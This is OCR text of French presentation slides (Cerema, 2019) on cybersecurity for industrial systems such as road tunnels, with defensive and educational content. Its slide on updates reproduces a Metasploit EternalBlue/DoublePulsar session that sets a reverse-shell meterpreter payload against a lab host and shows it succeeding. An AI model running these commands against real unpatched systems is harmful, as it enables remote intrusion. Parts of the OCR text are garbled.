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Les composantes de la securite
References ANSSI

lllustrations sur quelques themes
- Acces physiques

- Vidéo-protection

- Mises a jour

- Obscurité

Evaluation de la sécurité
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Disponibilite Intégrite

Securite
informatique

Confidentialité Tracabilité

-

Disponibilité : garantir 'acces aux ressources, au moment voulu
Intégrité : garantir que les données échangées sont exactes et compléte

Confidentialité : garantir que seules les personnes autorisées peuvent
avoir accés aux données et aux ressources

Tracgabilité, authentification, non-répudiation : garantir la tracabilité des
acces et des tentatives d’acceés ; tracer le fonctionnement ; conservation
de ces traces comme preuves exploitables.
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Guides ANSSI

- Maitriser la SSI pour les systémes industriels

- La cybersécurité des systemes industriels — Méthode de
classification et mesures principales.

- La cybersécurité des systemes industriels — Mesures detaillees
- Cas pratique

- Cas pratique d’un tunnel routier — Partie 1 : classification

- Cas pratique d’un tunnel routier — partie 2 : mesures

A
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Architecture

»

ofa &

( Metier g

- Redondance, disponibilité

- Et les autres composantes de la
securité ? Maitrise ?

A
%> Cerema 10/10/2019 DTISPV/TITANE au GTFE 5



Acces physique

- Eviter qu’un attaguant
externe puis étre interne

- Pas de protection
infaillible

- Le systeme peut alerter
‘exploitant mais seul
‘exploitant peut reagqir.
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Vidéo protection

- Analogique :

— eévite de créer des acces
IP vers le reste du
systeme

- néanmoins piratable
- Devient colteux

- Numérique

— eéventuellement
protégée

A
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Je n’en ai pas besoin «Mon systeme est stable et figé » ou
« les acces depuis I'exterieur sont filtrées »

msf > use exploit/windows/smb/eternalblue doublepulsar

msf exploit( ) > set eternalbluepath /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
eternalbluepath => /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps

msf exploit( ) > set doublepulsarpath /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps

doublepulsarpath == /root/Tools/Eternalblue-Doublepulsar-Metasploit/deps
msf exploit( ) > set targetarchitecture x64
targetarchitecture => x64

msf exploit( ) > set processinject lsass.exe
processinject => lsass.exe

msf exploit( > set rhost 192.168.100.210

rhost => 192.168.100.210

msf exploit( ) > set lhost 192.168.100.1180

lhost => 192.168.100.110

msf exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.100.110:4444

[*] 192.168.100.210:445 - Generating Eternalblue XML data
192.168.100.210:445 - Generating Doublepulsar XML data

[*] 192.168.100.210:445 - Generating payload DLL for Doublepulsar

[*] 192.168.100.210:445 - Writing DLL in /root/.wine/drive c/eternalll.dll
192.168.100.210:445 - Launching Eternalblue...
102.168.100.210:445 - Pwned! Eternalblue success!

*] 192.168.100.210:445 Launching Doublepulsar.

*] Sending stage {11394“3 bytes) to 192.168.160. 410
Meterpreter ion 1 opened (192.168.100.110:4444 -> 192,168.100.210:49158) at 2017-05-14 14:58:48 -0400
192.168.100. :445 - Remote code executed... 3... 2... 1...

Un malveillant peut exploiter des vulnérabilités depuis
I'intérieur et éventuellement créer un acces vers l'extérieur

Restent les 0-days
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Sécurité par I'obscurité ?

- Mon systeme
n'est pas IP

%> Cerema

- Mon systeme
utilise un protocole
specifique

Til Realtek RTLG169/8110 Family Gigabit Ethernet NIC : Capturing - Wireshark

Ele Edt Wew Go Cepture @nalyze Statistics Help

=10l x|

Beada|le@xoa|lneso T EE aaa

: [ip.addr==172.16.1 45 and ip.addr == 172.15.1 46 and mbtcp |~ Expression... Clear Apply

s.

Read multiple register

Ir-
Frame 72 (66 bytes on wire, 66 bytes captured)
Ethernet II, src: IeeeRegi_b9:e7:02 (00:50:c2:h%:e7:02), Dst: Ieeeregi_bd:a6:al (00:50:c2:b4:a6:a8)
Internet protocol, srci 172.16.1.45 (172.16.1.45), Dst: 172.16.1.46 (172.16.1.46)
o|® Transmission Control Protocol, Src Port: 1040 (1040), Dst Port: 502 (502), Seq: 1, Ack: 1, Len: 12
= Modbus,/TCP
transaction identifier: 22238
protocal identifier: o
Jlength: &
unit_identifier: 33
= modbus
Function 3: _esdt mitiee registers | 44— Modbus Request sent from the CLIENT to the SERVER]
] referenca number: 68
] word count: 4
0000 00 50 c2 B4 a6 a@ 00 50 cZ b9 &7 02 08 00 45 00
0010 00 24 6d <9 00 00 40 06 b2 7f ac 10 OL 2d ac 10
floozo 01 2e 04 10 01 F6 03 37 I 18
oo 16 do ef d9 00 00 56 de g [
1joa0 4
Realtek RTLE163/8110 Family Gigabit Ethernet NIC : <live capture in progress File: C:iDOCUME~1|ch2kisoD|LO... [P: 3131D:2M: 0 i
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Evaluations et tests de sécurite

- Audit de sécurité

- démarche commune entre I'expert

et 'exploitant i
- envisager les vulnérabilité sur
différents composants o
- Attaque red team
- I'équipe rouge cherche une
vulnérabilité exploitable s
- tester les procédures &
- Impact psychologique : facilite =
I'adhésion iz

¥
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Merci de votre attention
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